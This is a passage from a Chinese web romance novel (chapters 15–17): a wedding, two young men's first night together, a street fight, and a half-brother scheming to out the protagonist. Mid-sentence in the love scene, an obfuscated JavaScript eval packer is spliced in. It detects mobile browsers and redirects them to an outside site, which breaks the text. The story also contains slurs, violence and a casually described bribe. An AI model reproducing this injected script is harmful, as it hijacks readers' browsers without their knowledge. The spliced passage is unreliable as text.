挨着翠湖酒店不远有一个铁路公园,里头有一片人工湖,他们去的时候人不多,靳越群租了一个带棚的脚踏船,下午就带乔苏划船去了。 果然,从没划过船的乔苏一踏上摇摇晃晃的船就兴奋了,开始是好奇的和靳越群一块儿蹬,他蹬累了,就去背包里找他带的点心吃,然后指挥着靳越群,一会儿要去湖心岛上看鸟,一会嫌晒要去亭子里歇,靳越群也都陪着他去。 日落回去的时候靳越群进了路边的一个门头挺喜庆的小商店,乔苏问他买了什么,他也没说。 第二天是婚礼,汉北这边流行中午办酒,当天上午,宾客陆陆续续的到,靳父和冯敏卉,还有靳越群的继兄靳越贤也来了。 周亚东他爸现在在汉城平步青云,唯一的儿子结婚这么大的事,能被邀请的自然都是汉城有头有脸的人物。 “越群,上次送去汽车厂的曲轴样品怎么样?那边怎么说?” 和相熟的宾客打了招呼,他们也不是主角,一行人站在外头花园,靳昌林掏出烟盒,抛了根烟给靳越群和靳越贤,靳越贤拿着打火机给靳昌林点了。 靳昌林抽着烟,看靳越群没动,部队里摸爬滚打出身的男人笑:“你小子,这么大了不会抽?” “会,抽的少。” 乔苏不喜欢烟味儿,不过靳越群也没说别的,低头打着火点烟。 “市里的检测报告前天给出去了,我们厂的样品质量绝对过关,我请他们采购部的张经理吃了顿饭,上浪淘沙那办了张两万块钱的卡,插队进去,先检测我们的往上报,估计这两天就有消息,先订四十万套。” “行,都说上阵父子兵,爸对你是…” 他正说着,身边的冯敏卉挽起他的手臂:“昌林,小群考上汉京大学这么值得庆贺的大事,怎么你们父子俩一见面就是说厂里的事?你也该问问小群学习辛不辛苦,当爸的你也得好好奖励…” “是,是,得好好奖励!” 靳昌林显然是对靳越群这次考上汉京很满意的,靳越贤在旁边微笑着:“爸,我看小群的能力这两年也锻炼出来了,不如就让小群早点进昌盛,挂个经理,和念大学也不冲突。” “越贤阿,你是个好哥哥!你能说这句话,有胸怀…!往后昌盛更上一层楼还得靠你们兄弟俩,兄弟一心,其利断金!” 冯敏卉在旁边说那是当然的,那边伴郎里有靳越贤认识的,他说了一句:“爸,您放心吧,我会好好帮助小群的。”就过去了。 冯敏卉也有太太交际圈,花园里就剩下靳昌林和靳越群。 “越群,爸也给你交个底,你哥那边…将来让他给你做个左膀右臂就行了。” 靳越群先前一直没说话,他说:“爸,您当年和大伯处理不好的问题,现在又丢给我了么。” “你,你这话说的…” 靳昌林有些尴尬地匝了下嘴,他何尝不清楚兄弟之间,要命没废话,但要一块做生意,那就真是一团乱麻,他和他大哥当年就因为牵扯了借钱创办昌盛,前几年真是撕破脸了…可谁让他心里对那对母子有愧呢? “算了,不提这件事了,你趁着放假有空就去帮你哥的厂子看看,他最近忙着跟去我谈整流器的事,也没空管那边,是不是让人钻了空子,用的都是新设备,怎么退货率那么高?这都让那帮老客户找上我了,传出去也是砸昌盛的招牌…” 靳昌林提这个,原以为靳越群不会答应,这兄弟俩一直都淡淡的,没想到靳越群熄了烟。 “这事我解决可以,我就一个要求,安县这个厂子以后给我独立核算。” 靳昌林一愣,没一会,男人又笑了。 “行啊…!你小子是真知道哪能吃肉哪能喝汤啊,这是算计到你老子我头上了…给你练练手可以,但名头不能改。” 靳昌林心里对着他这个儿子除了满意就是满意,再满意不过了,年轻,眼光又不务虚,就像刚才靳越贤说的,让他去昌盛,可在里头担个好听的虚职有什么用。 “行。” “你奶知道你考上汉京了,心里高兴,刚好过几天是她八十大寿,你小叔带着她从海南过来,到时候你来家里吃饭,就住家里,不要再回去了。” “厂子里还有事得交代,等开学吧,住家里不方便,我到时在学校附近租个房子。” “行,你看着吧…对了,那个叫…乔苏的孩子呢?” “没来。” 靳昌林也没再问,他本身就不信那些牛鬼蛇神,算命的非说是给他儿子续命的,养着就养着吧,也花不了几个钱。 中午周亚东和他老婆举行婚礼,他老婆和他是大学同学,书香门第的独生女,双方家长都十分满意这桩婚事,宾客鼓掌,靳越群想着刚才靳昌林突然提到乔苏的事,他心里有点烦,他不喜欢任何人将目光聚在乔苏身上。 饭后散场,靳越群说他厂里有事,就没和靳昌林他们一块儿回汉城,他回去找乔苏,房间里没人。 桌上,乔苏给他留了一张字条。 “我去外面摸小狗。” 下头还歪歪扭扭画了一个小人哈哈笑着牵着一条狗,靳越群手指捏着纸条,去外头找人,在酒店后头的空地果然看见乔苏蹲着,正逗着一条小黄狗,周围围着几个穿浅蓝色制服的服务员,说说笑笑的。 她们身上的香水味儿飘着,全沾在乔苏身上。 “乔苏…!” 靳越群喊他的名字,走过去,拎起乔苏,服务员看他那么高,神色又凶,就散了,靳越群拽着乔苏回房间。 “你干啥呀,我都给你写纸条了…!” “这东西没用。” “咋没用,不是中国字?再说你都不让我去看婚礼了,我才出来的…!” “乔苏…!” 他振振有词,进了房间,靳越群一把关上门,低吼他,乔苏上去就揪靳越群的头发。 “我现在已经高考完了,我现在是大人了…!是大人了!成年人,我想出去就出去…!想摸狗就摸狗!你知道不?” 他心里有气正没处发,他都没看过别人结婚,还是亚东哥的婚礼,好不容易来了,靳越群居然不许他去,气死他了! “我不让你去当然有理由的…!” “有啥理由?” 他一问,靳越群喉咙卡着,他该怎么对乔苏说,现在他们长大了,他必须要防备着被靳昌林察觉、被任何人察觉,可,他为什么要把这些告诉乔苏?让乔苏去担忧? “…你想摸那条狗是吧?” “啊?” 靳越群松开钳制住的乔苏的手腕,他还是冷着那张脸,出门去了。 乔苏都不知道他去干什么,叫了两声靳越群也不理,乔苏躺在床上,这人,真是没事就乱发病的…! 没一会,乔苏正在看电视上演的武侠电视剧,门又开了,他听见好像小狗的呜咽声,一转头,就看见靳越群单手拎着一条瑟瑟发抖的小黄狗回来了。 “保安养的,我问过了,没病,摸吧。” 小黄狗吓得不敢动,尾巴都紧紧夹着,呜呜的叫,乔苏赶紧从床上爬下来。 “你使那么大力气干什么啊,你看把它吓的…!” 他接过小狗,刚才他喂了它点肉铺,小狗跟他还挺熟的,一小团围着他的脚。 “废话,我不使力它不跑了?” 乔苏懒得和他说,在阳台上拿肉干逗着小黄狗玩,背后是溶溶红晕的夕阳,慢慢地落,映在靳越群眼睛里,只看见明朗清秀的少年,像一阵春风似的笑脸。 那样鲜活地,在他眼前,在他身边。 “诶诶诶?你又提溜它去哪儿啊?我俩正玩呢…” “它太小了,得回去找它妈。” “不是,那刚才你提它来的时候咋不说它得找它妈…” 乔苏觉得靳越群这人就有病,给他提溜来一条小狗,没五分钟又给送下去了。 小狗还怪不舍的,对着乔苏摇尾巴。 乔苏也舍不得:“去吧,小黄,等哥以后飞黄腾达了,哥去接你啊…” “你赶紧洗手去吧。” 靳越群又把狗给人家保安送下去。 - 回来就晚上了,周亚东那边叫他们几个哥们一块去吃烧烤,那几个哥们等着晚上闹他洞房呢,靳越群没兴趣,他跟周亚东说自己晚上有事,就不去了。 乔苏在房间吃晚饭,是靳越群给他拿上来的:“你晚上有啥事呀,亚东哥是不是叫咱们去闹洞房啊,我也想去,我没去过…!” “人家洞房有啥好去的,你好好吃,有鱼…” 他刚说完,乔苏就呛了一下,靳越群赶紧放下手里的事,过去看他的嘴:“卡着没?” 乔苏眨眨眼睛,咳两下:“没…是葱丝儿…” 他又张大嘴给靳越群瞧,靳越群看见没事,松开他的下巴。 “让你好好吃饭,就不听,你先吃别的。” 靳越群去洗手,呛着乔苏的是清蒸鲈鱼,他坐在旁边的椅子上把鱼肚子上的肉夹进碟子里,把大刺和小刺一点点都剔干净,装了一小碗鱼肉,浇上酱汁给他放碗旁边。 “吃吧,” “你搞得太多了…” “吃不下的给我。” “你咋不来吃啊,一会儿都凉了,你在那儿忙活什么呢?” 乔苏吃饱了,撂下筷子,扑上靳越群的后背,看清楚靳越群在干什么,他眼睛都瞪圆了。 “这哪来的红喜字?你要干什么呀…?!” 靳越群背着他站起来,在俩人的床头上贴了一个他昨天在小商店买的,在模印上小心翼翼拆了半天才拆下来的红喜字。 他转身抱着乔苏的屁股,稍一用力,将他抱在身上,低头在乔苏嘴上吻了一下,又在他脸上吻了一下:“苏苏,这件事我现在给不了你,但我发誓,我以后会给你的,咱俩会有的…” 有,有什么? …结婚? “你说,咱俩结婚…?” 靳越群亲吻他,嗯了一声:“宝宝,让我好好抱一会儿…让我抱一会儿你…” “靳、靳越群…你叫我什么?” “乔苏…” 乔苏没好气地锤了他肩膀一下:“才不是…!” 靳越群抿唇笑,他很少露出这样温柔的神色,上午的忧心和隐隐察觉的不对都消散,有乔苏在身边,兵来将挡水来土掩就是了。 他亲吻着乔苏的唇,愈发按耐不住地往里吞舐:“宝宝,宝宝,你是我的宝宝…” “呀…我都多大了啊…” 乔苏被他这么叫着,白皙的耳都烧起一片红,不知道靳越群今天怎么了。 “你是不是吃坏什么东西了靳越群…” “你不喜欢我这样叫你?” 也不是,他喜欢,就是…就是之前没听过,尤其是靳越群现在这么叫他,他心里像有一簇小火苗,往里烧着,痒着… “哎…!你叫就叫,你别捏我屁股…” 靳越群将他压在床上,少年眉骨高,眉眼冷冽,此刻看向他的眼漆黑,像一个温柔的漩涡,俩人注视着彼此,喘息交织,乔苏觉得靳越群的手掌像烙铁,他的心都跟着发颤发烫。 他难耐地想挪动,却被靳越群锢住腰,动弹不得… “乔苏,你生生世世都是我的人,都是我的人…!你要记住,记清楚,你以后要敢给我戴绿帽子,我就打断你的腿…!” “谁会给你戴绿帽子啊!都这时候,你是不是神经病…!” 乔苏气的捂着靳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553346|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越群的嘴:“亏你刚才贴喜字的时候我还好感动,你也不许给我戴!不然我就咬死你…!” “我不会,我永远都不会,这么多年,我心里只有你一个,你知道吗,宝宝,永远都只有你一个,永远我都觉得不够…” 乔苏觉得靳越群真是有点疯了,怎么今天说话这么的,这么的让他招架不了? “我都答应你了…再说了,我心里也好喜欢你…” 乔苏被他吻的脸颊红透,他弯弯着漂亮的眼睛,像试探一样,抬头在靳越群也唇上吻了一下:“我心里也好喜欢你靳越群,我想一辈子都跟你在一块儿,闹你,也喜欢你…” 靳越群看着他,少年一时愣住,随即,他喜悦无比地抱住乔苏,像对待世间最独一无二的珍宝一般,爱惜无比地亲吻他的脸,眼睛,鼻子:“苏苏,我发誓,我会做的更好,尽我所能,只要我活着,我就对你好,我死了我也对你好…” “你是不是傻啦…这时候说什么死不死的…!” 乔苏不知道该怎么做,只能本能驱使一般搂着他的脖子,靳越群也紧紧抱着他,他觉得靳越群的嗓音好像有些哽咽,可他的唇舌被靳越群含在嘴里吞弄的不知东南西北,看不到靳越群的脸,两个人没有一点缝隙的拥抱,接吻,乔苏的心怦怦跳,说着让靳越群再亲深一点… 靳越群嗓音更是沙哑的不像话,问他要亲的多深? 亲的多深?乔苏也形容不出来,他的脑子像噼里啪啦燃烧起的火花,什么也思考不了,不过很快他就知道了。 原来结婚根本就不是光亲的事…! 这一夜,他先是哭,哭完就照着靳越群打,打完不够,又锤,锤完昏,昏完再哭,靳越群让他打的身上脸上的红就没下过,是忍着哄,哄着忍,一寸寸忍,一寸寸哄。 备的东西都是让鱼庄的老板打南边捎的进口货,靳越群那边还没完,乔苏就已经哭的累的打的昏睡过去了。 第二天乔苏睡到日上三竿,都罕见的起不来,靳越群让服务员送了小米粥,喂也喂不进,只好用口舌渡给他吃。 乔苏晕晕乎乎地喝了小半碗粥,终于有点力气了,他咧着嘴哭:“靳越群,你个王八蛋…!我难受死了!我全身哪儿都疼!我不要和你处对象了!你滚,我不要和你处对象了…!” 靳越群有点不知所措,他已经很轻了,可俩人的尺寸在这儿,昨晚他忍得眼睛都充血,早上都消不下去,最后也就舍得亲一半。 他只好抱着乔苏,低头不断吻他的额头,脸颊,嘴唇。 “宝宝…宝宝…是我不好…” “不是你不好难不成还是我不好?!我明明是小号的螺帽,你拿大号的螺丝非要往里捅,能捅的进么?我问你能捅的进吗…?!” 靳越群被他发泄一般打着,也不敢躲,怕他更急,又要小心手里的粥不能撒,趁他骂的时候往他嘴里喂。 “都是我的错,都是我的错…” “你干脆去找两匹马把我绑上撕开得了!” 乔苏腰疼屁股疼的厉害,推他胸膛:“你去!你现在去啊!” “宝宝,我怎么舍得…你乖,再吃两口…” “你个黄鼠狼,我不吃…!” “是,我是,你再骂两句,骂两句张嘴,都睡到下午了,我怕你撑不住…” 乔苏也饿,昨天晚上实在太消耗体力了,比他在山上跑几个来回都累,他喝完粥,靳越群又抱着他去洗澡。 洗澡也和过去不一样,出来的时候乔苏北被靳越群用浴巾裹着,他又想哭了,用脚尖死命踢靳越群的大腿:“我告诉你,从现在开始你的手指,还有你的下半身,都不许靠近我的屁股…!你听见没有?至少离我的屁股半米远…!” 靳越群给他擦头发,换衣服。 “轻点喊嗓子,回头肿了…” 靳越群也舍不得他多喊,乔苏打着他,他只好挨着,给他提上内裤就抱起人。 没像之前那样抱,他精力的双臂托着乔苏的屁股稳稳举高,好像根本不费力似的,几乎与他的肩膀和脖子持平,他仰头亲吻他的肚皮。 “这样行不行…半米了…” 乔苏没想到一下子被抱的这么高,觉得挺好玩,又笑了:“哈哈,好痒痒,你别亲,我头要撞到灯了…!” “不会,我在看着…” 乔苏骑在他脖子上,在他头顶玩了一圈,感觉昨晚被‘欺负’场子找回来了,心情也跟着顺了不少,漂亮的眼睛笑眯眯地。 “靳越群,结婚还有这种好处呀?原来结婚了就可以骑在你头上了?” 靳越群从昨晚哄他哄到现在,也不差这一点,他拍了下他的脚丫子。 乔苏更开心了,他人生最大的乐趣之一就是逗靳越群这只‘纸老虎’。 “那你说,我现在是不是就是骑在你头上?你许不许我骑?” 他小嗓音甜甜的,还夹着遮掩不住的暧昧的哑,不依不饶地揉捏靳越群的短发,有些硬,乔苏低头亲他的脑袋,带着淡淡洗发露的香味儿。 “这个太好玩了!我以后要想骑就骑…!” “想骑就骑?”靳越群听得两条眉毛都拧起来:“让别人看见我脸还要不要了,像什么话。” “怎么不像话啦?咱俩不是结婚了?我是你媳妇你知道不知道,脸面重要还是媳妇重要?你要是对我不好,就会没媳妇,你知道不…!” 靳越群托着他的屁股和大腿,略一低眼,就看见昨天他实在忍不住,摁着乔苏两条腿在他大腿根儿咬了一口,还留着一个牙印。 靳越群滚了一下嗓子:“行,在屋里随你骑。” 乔苏笑,哼,这只纸老虎,还不是得听他的…! 他玩了一会儿,靳越群就给他抱下来了,拿着包里装的活络油给他揉按着腰和腿,乔苏哼哼,靳越群不让他哼,俩人又闹了一会,楼下不知道哪个情侣吵架,吵的很大声,乔苏非要去看,被靳越群抓着回去休息了。 16.第十六章:撞倒 俩人在翠湖酒店做了最亲密的事,没立即回去,又多住了两天,这儿环境不错,靳越群想让乔苏玩玩,在床事上也是亲五分忍五分。 偏偏乔苏是第一次打开新世界的大门,感受到这事的快乐,亲的时候嗷嗷叫,舒服完了又喜欢腻着靳越群,不是摸就是蹭。 “你干啥呀,你咋在床上还穿着衣服…你昨天不是说床上不能穿衣服么?” 靳越群紧紧闭着眼,都不敢看他,一只手凭着感觉给乔苏拿被子搭在肚子上:“你别招我了,刚才给你在厕所里看了,不能亲了…这两天乖乖养着…” “我没勾你啊…” 乔苏裹着被子蹭进了,用俩人不知道亲过多少次的嘴儿贴着靳越群耳朵根儿:“你看哪儿了啊?” “……” “跟我说说呗,你看哪儿了?我那儿啥样呀,好看不…啊!” 靳越群都快欲.火焚身了,翻着他这只乱惹火的毛毛虫,照着他被被子裹着的屁股上拍了两下,压着火训他:“看哪儿,你说看哪儿了…!让你给我闹…!说了不行不行,疼就高兴了,是不是?!闹…!” 乔苏咯咯的笑个不停。 “哎呀,那我不是不知道,谁让你不通知我就往那儿亲,我好奇嘛…” 原来男人和男人在床上是这样的,原来和靳越群做这样的事…是那么爽快、那么甜蜜…虽然开始的时候有点疼,但中间就舒服的找不到北了,尤其是心里,像是被一大罐蜂蜜倒下去给灌满了。 到底刚开荤,乔苏又娇气,后面两天靳越群就没敢动他,火实在压不住,就寻摸别的办法,乔苏腿疼,不肯跟他待在房间了,加上又让靳越群像皇帝一般衣来伸手饭来张口的伺候了两天,又恢复了活力,他们从酒店借了一辆职工的自行车,下午就在铁路公园外头一段没什么人的树荫底下练骑车。 乔苏已经摸索到窍门,靳越群撒手他也能自己骑一段。 “好热,靳越群,你去给我买根儿雪糕…” “把车停这儿,一块儿去。” “你去啊,我在这儿自己再练会儿,你在你都不撒手,阻碍我学习都…” 他还嫌弃他:“没事,你看,我的脚能踩着地,要是车歪,我一伸脚就能踩着…” 乔苏斜身给他演示他不会摔,靳越群看过去,这边是汉城的郊区,小卖部离得远,中间还过一条大马路,大太阳晒的很,没这边凉快,乔苏前一段又刚晒着脸。 “那我去买,你就在这儿骑车,前后五十米,到那颗树那儿,不许超了。” “知道啦…” 靳越群看这条路没什么人,乔苏骑得也还凑合,才去了。 自行车是酒店一个服务员的,靳越群给了钱才租出来,比乔苏家里那辆大,他晃晃悠悠地把控着车把,顺着路边把往前骑,后面不知道哪开上来一辆车。 里头的一对年轻男女正在吵架,男的一手开着车,一手粗鲁地拽掉女孩胸前的项链:“你个臭婊子,看场婚礼不知道自己是谁了,这两天一直跟我吵,你装什么清纯!人家周亚东娶的是名门淑女!你个二手货,也想让老子娶你?再跟老子吵吵就滚!” “康志远!你禽兽不如!你当初追我的时候说的那些话都是骗人的…!你答应娶我的!”女孩哭花了妆,在车里跟男人撕打起来,指甲抓着男人的脸,抓出几道血道子。 “操,你他妈一个婊子还敢打我…!看我不打死你…!”车里的男人恼怒,看不清前头的路,车在路上开的歪歪扭扭,差点怼到马路牙子上去。 他干脆下车,要去拽副驾的女人出来,可他胡乱停车,旁边刚好是乔苏在骑车,差点被他撞着不说,又被他车一停,自行车轱辘别在马路牙子和前轮胎中间,都动不了。 “喂,你开车有没有素质…” “老子有没有素质你管的着?!老子就是撞死你也没人敢管,骑个破自行车不知道躲,给老子滚开!!” 康志远刚才让女人抓花脸,正恼火,一把推搡开乔苏的肩膀,乔苏的车轮子卡着,本来就重心不稳,连车带人摔在地上。 他的膝盖着地,擦出一片鲜红,一下子疼的说不出话,眼泪都出来。 “呵,摔一跤死了没?讹人是吧,赏你点钱看看吧…!” 康志远不屑地掏出钱包,抽出几张红票子轻蔑地扔在脚下,乔苏也不是吃素的,他像个小豹子一样火了,不顾膝盖上的疼,爬起来就要揍康志远。 “靠!你特么算什么玩意儿啊!敢朝我扔钱?!” 那边,靳越群拿着雪糕刚从小超市出来,远远就看见乔苏在那边被一个男人揪着领子,轰的一声,靳越群顿时浑身的血液都像烧沸了,直往脑门上涌…! “操!你他妈眼睛瞎了你敢打他?!” 靳越群眼眸霎时血红,狠狠一脚踹翻男人,钢铁一般的手从地上抓起他的领子,接着重重地拳头砸上去,几下就混杂着颧骨碎裂的声响… 女孩吓得失声尖叫,康志远口鼻往外喷血,洒上他昂贵的西装… “靳越群…!我膝盖磕着了,好疼…” 他带着哭腔的嗓音一喊,暴戾的男人回过神志,赶紧去看他。 “我膝盖流血了,靳越群…” 靳越群看着乔苏两片鲜红的膝盖,心里恨不得要杀人,他照着康志远身上狠狠踹了两脚,一脚踩上他的手:“妈的,狗杂碎…!你那只脏手也配碰他?!你他妈也敢碰他!!” “操,你是谁敢打老子,你知道老子是谁?!” 康志远瘫地上不断哀嚎,靳越群根本顾不上他,抱起受伤的乔苏,急忙打了一辆路边驶过的出租车就直奔医院。 到了急诊,靳越群慌慌张张地抱着乔苏,在走廊上抓着一个医生喊:“医生!他受伤了!他流血了!” 医生也不是急诊的,看他这么急,脸色都吓得没半点血色,还以为是什么重大车祸,拿着胸口袋上的手电筒给乔苏的膝盖上照了照。 “这是摔着了吧?先让护士清创,看着没大事…” 医生招呼一个护士给他清理创面,靳越群什么也顾不得了,乔苏露着一片血红的膝盖,右膝盖磕的厉害点,血顺着流到小腿肚,就跟一根烧到千百度的烙铁一样穿透在他心上,平常他在外面怎么都会顾忌着,但这会儿他紧紧抱着乔苏在腿上。 “大夫,他怕疼,能不能轻点…” 护士拿着棉签给他擦周围的脏东西:“你这摔的创面大,得先用双氧水清洗,杀菌,不然容易感染发炎,再给医生看,清洗有点疼,不过很快…” 乔苏一听疼,眼泪就往下掉,他小声念:“靳越群…” 靳越群心疼的跟烙穿了似的,从小到大他看着乔苏,乔苏就是再爱玩,哪儿流过血?他把手背给乔苏咬着:“疼就咬我吧,使劲咬,你听话,伤口得消毒,得听医生的…” 乔苏也让血吓着了,头都有点晕,就咬着,护士看这哥俩年纪也不大:“你弟弟可真够受宠的,在家里是老小吧,我弟弟在家也这样,让我们上头仨姐惯得一点疼都受不了…” 双氧水冲洗伤口刺激,乔苏受不了就使劲咬他的手,靳越群任他咬,都感觉不太出疼,就看着护士给乔苏冲洗。 创面清理干净,又背着乔苏到医生那儿,医生看了说没事,包扎两天回去揭开,注意别沾水,别发炎就行了。 靳越群又背着他去护士那儿包扎,拿药。 乔苏是右边的膝盖先着地,摔的重,左边的膝盖侧边就是擦伤,一路上来来回回 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乔苏见靳越群说话了,露着小梨涡看着他:“那你也教我打架,我水平都不行!下次再遇上这种人渣,我要亲自打的他跪地求饶!屎从嘴巴里喷出来!” “这些事不用你做…” 打架有打架的危险,靳越群一点不想乔苏跟任何危险挂上钩,医院来来往往都是病人,靳越群背起乔苏,回去了。 这附近就这么一个医院,那边康志远也从急诊出来,两方错开,他伤的重,又脑震荡,头上包着一圈厚厚的纱布,脸颊颧骨裂了,都要缝十好几针,他骂着倒霉,高高肿起的右眼只剩一条缝,忽的眯缝起来,在门口看见出去的两个人的背影… 刚才打他的那个男人,他越是回想越是是眼熟,好像,好像在周亚东的婚礼上瞧见过… 好像,还和他的大学同学靳越贤坐在一块儿… 可当时他身边好像没有那个男孩啊… 嘶… 突然想到什么,康志远眼神里透着一抹狠辣,往地上啐了口唾沫,借着医院值班室的电话,给靳越贤打去了。 “喂,越贤,是我啊,那天在亚东的婚礼坐在你右边的,是不是你那个弟弟啊?个头得有一米九那个。“ 靳越贤那边正跟着他爸在别的老板这儿,拿着大哥大出去接:“是,怎么了?我这儿正有事呢。” 康志远狞笑一声:“这不是巧了么,你不是一直发愁你那个弟弟锋芒太盛,往后跟你抢昌盛的事,你运气真好啊,让老弟我给碰见了,话说你这个弟弟可把他的心肝宝贝儿藏得够深的啊…” 靳越贤一时没听懂:“你说什么?你碰见靳越群了?他藏谁了?” “呵,可不是得藏么,我要没猜错,你弟他特么就是一个喜欢男人的同性恋!他在翠湖压根没走!我都撞见他和他相好的了,那男孩他宝贝的很!” 靳越贤心里一惊,靳越群是同性恋?他忽地想起什么,忙问:“你说他带着一个男孩?那男孩长什么样?” “操,你还别说,那男孩嫩的能掐出水儿,水灵灵的,怪不得你弟喜欢,回头他玩腻了,要不也给我玩玩?我也试试男人走后门的滋味…” 靳越贤几乎一下子就知道他说的是谁了,他回头看了一眼正和对面老板相谈甚欢的靳昌林。 要是让他爸知道了,他最满意的儿子居然是个喜欢男人的同性恋… 那还会有人威胁到他的地位么? 不,这些本来就该是他的,他是靳昌林的长子,小时候他和母亲受尽白眼,靳家的一切,本来就该全部是他靳越贤的…! “…他把我打了!老弟我正想出这口恶气,他?八成还在翠湖住着,行啊,你想让我帮你什么忙…?” 17.第十七章:变故 当天晚上回翠湖住了一夜,乔苏的膝盖疼,靳越群心疼坏了,抱着他在屋里走,亲他的脸,乔苏哼哼两声,要靳越群再亲亲他。 俩人也没闹真的,靳越群睡前给他被子盖好,一晚上睡的也不踏实,时不时给他看看,怕乔苏蹬被子再蹭着包好的纱布。 昨天那辆自行车谁也没顾得上,再回去的时候已经没了,靳越群赔了前台小姐的二百块钱,又续了两天房间,中间乔苏基本就没下过地,上厕所都是靳越群抱着去,等乔苏走路不疼了,他才开车带他回去。 乔苏在路上吃着雪糕,车窗外头略过一排排大叶梧桐树,还觉得挺好玩的,他活蹦乱跳的时候靳越群偶尔还会凶他两句,他一伤,别管大小,靳越群对他是头也能低了,话也不敢说重了,那叫一个千依百顺。 天气热,伤口不能总包着,回去之后靳越群每天晚上给他换药,伤口也不大,有一个大拇指指甲盖那么大,周围很快结痂,长出的浅粉色的新肉,很痒,乔苏总忍不住想挠,靳越群看着他不让他挠。 但他答应了去靳越贤那个徐水的厂子看退货率高的事,白天总是不在。 “啧,你再抓我给你套个手套啊。” 得,让他温柔最多也就维持三天。 “那我痒痒啊…” 靳越群见威胁他也不听,戴手套吧,又怕给他捂出痱子,只能在家的时候去哪儿去带着他,不在家的时候让阿姨看着他,多给他洗点水果,让他手和嘴都占着,就想不起来挠了。 靳越群去了徐水那边,其实问题不大,就是管理上的事,新设备运来了,也得靠磨合,徐水的厂子管理松散,车间人员动作野蛮,加工精度远远偏离公差极限也视若无睹,还有一些明明合格的成品却因为包装粗鲁,表面氧化严重,还没出厂就让人给退了。 他看着手里的车辆登记表。 “怎么靳越贤已经两个月没过来了?” 厂里的技术主任看见靳越群,那就跟看见救星一样! “可不是!小靳啊,不是我多嘴,靳经理他现在忙着总公司的事,都不来车间啊,他叫了一个冯大鹏来管着,可他啥也不懂!还耀武扬威的把厂里熟悉设备的老师傅都开除了,光留下一帮啥也不懂的生瓜蛋子,这厂怎么开?!” “冯大鹏?谁?他人呢?” “他…他估计还没来上班呢。” 这都下午三点了,还没来上班?看着技术主任一脸的欲言又止,靳越群就明白了,这个冯大鹏八成又是在他爸的默许下,冯敏卉母子塞进来的。 一个徐水的厂子都这样,昌盛里还不知道养着多少蛀虫。 “行,我知道了,明天我从安县的厂子里先调两个熟悉设备的师傅过来,把控着精度,你知道那些老师傅的家在哪儿吧,把他们请回来,头半年双倍工资,算是补偿,剩下那帮学徒你把他们管好,干不好的滚蛋回家,我签字!” 技术主任连声道好,有他这句话他就放心了,现在厂里的人心都散了,可厂要倒了,他们这么些人的养家的饭碗也就没了。 就这样又过了三四天,各个学校的录取通知书陆陆续续下来了,靳越群果然考上了汉京大学的经济系。 靳昌林高兴的很,那可是汉京大学,整个华北头三甲的名校,他刚巧认识一个邮政局的小领导,通知书就没让邮递员寄回安县,而是直接送到了汉城的家。 乔苏的膝盖也好的差不多了,靳越群去市里医院给他开了一只祛疤的药膏涂,就一小罐,要好几十块,涂了挺有效果,结痂掉了,就留着浅浅的一小块儿粉色。 “奶今天从海南过来了,晚上她过生日,我过去吃饭,要是喝酒晚上就不回来了,你自己睡,门窗要关好,明天一早我就回来。” 乔苏“嗯,嗯”的应声,说:“祝你奶福如东海寿比南山呀。” 靳越群揉了下他的脑袋。 其实他对他奶也没什么印象,老太太早年死了丈夫之后就一直跟着被当年被分到海口当兵的三儿子,逢年过节因为老太太年纪大了,也不常来,靳越群就打小见过一次。 “要是晚上结束的早,我就回来,现在给你吹点风,我回来要看见你没锁等我收拾你…” “知道啦,大热天的,哪个贼没事爬二楼啊,再说万一有贼真爬了,人家拿着锤子拿着刀的,这一玻璃能挡着什么啊,到时候扎我…” 瞄一眼,靳越群脸色要黑,乔苏赶紧打住,把手里的闲书扔到一边,跳着扑在靳越群身上。 “行吧行吧我不说了…哎呀,我一个人在家里没事…,咱家有啥呀,就我一堆破石头,人家偷了都嫌沉,我等你回来啊。” 靳越群恨恨地在他脸蛋上咬了一口。 “你那嘴,改天我真得舍出去教训你一顿,成天说点屁股发痒的话…” “那不就是知道你舍不得嘛…你知道咱俩现在这叫啥不?市里有个特别时髦的词儿……叫‘新婚蜜月期’!哈哈,你没听过吧,咱来现在就是新婚蜜月,这时候你不能凶我…” 乔苏洋洋得意的小表情就像叼着鱼的小猫,在靳越群脸上亲了两口,靳越群被他亲着,眯着眼问:“这又谁教你的?没汇报就学?” “当然是彭文呀,他表哥在市里的歌舞厅当领班,带着他卖磁带,见识可多了…” 乔苏又在他脸上亲两口。 “我学的不错吧?” 靳越群似乎挺受用:“这个词不错,能学,别的他跟你说了什么要跟我讲,不能学的不要学。” “哈哈,真受不了你,就你教的能学,你是汉京的大学生,行了吧…” 靳越群又亲了亲他,才在床上放下他走了,他还想着明天抽空去给乔苏填报的那几个学校问问,录取通知书是不是全寄出去了,怎么他听厂里的老孙聊天,说他儿子都收到了。 - 靳家老太太的生日宴是在开阳饭店的大包间办的,靳越群到的时候是晚上七点,就用酒店前台的电话先给乔苏打了一个。 乔苏接起电话,说他已经吃过饭了,阿姨煮了八宝粥,还炒了一个腊肉包菜,很香,他喝了两碗,靳越群听到他吃过饭,就把电话挂了。 当天晚上靳越群就没回来。 第二天上午,邮递员骑着自行车在外面响铃铛,照着信封上的人名喊:“乔苏!录取通知书!” 乔苏赶紧下楼拆开,一看,真是他的录取通知书! ——汉阳地质学院,专业是地质工程。 “恭喜啊,考上大学了!你是我今天送的第一个!” 邮递员也觉得这是个喜差事,恭喜完他就蹬上自行车送下一家了,乔苏拿着录取通知书高兴极了,在原地蹦跶。 “阿姨,你听到没有,我有学上了!我考上学了!我终于不用复读了!” 张阿姨是个朴实的中年妇女,也为他高兴,问他中午想吃啥,给他做条红烧鱼! 乔苏喊着都行都行,就兴奋地跑上楼了,这下靳越群终于不用让他复读了! 就是这个地质工程是干啥的? 算了,什么专业也不重要!当时靳越群不是给他报好多他不懂的专业么,那张交上去的志愿表乔苏也没仔细看,他把通知书放在桌子正中央,摆弄好一会,想着等靳越群回来了第一眼就能看到! 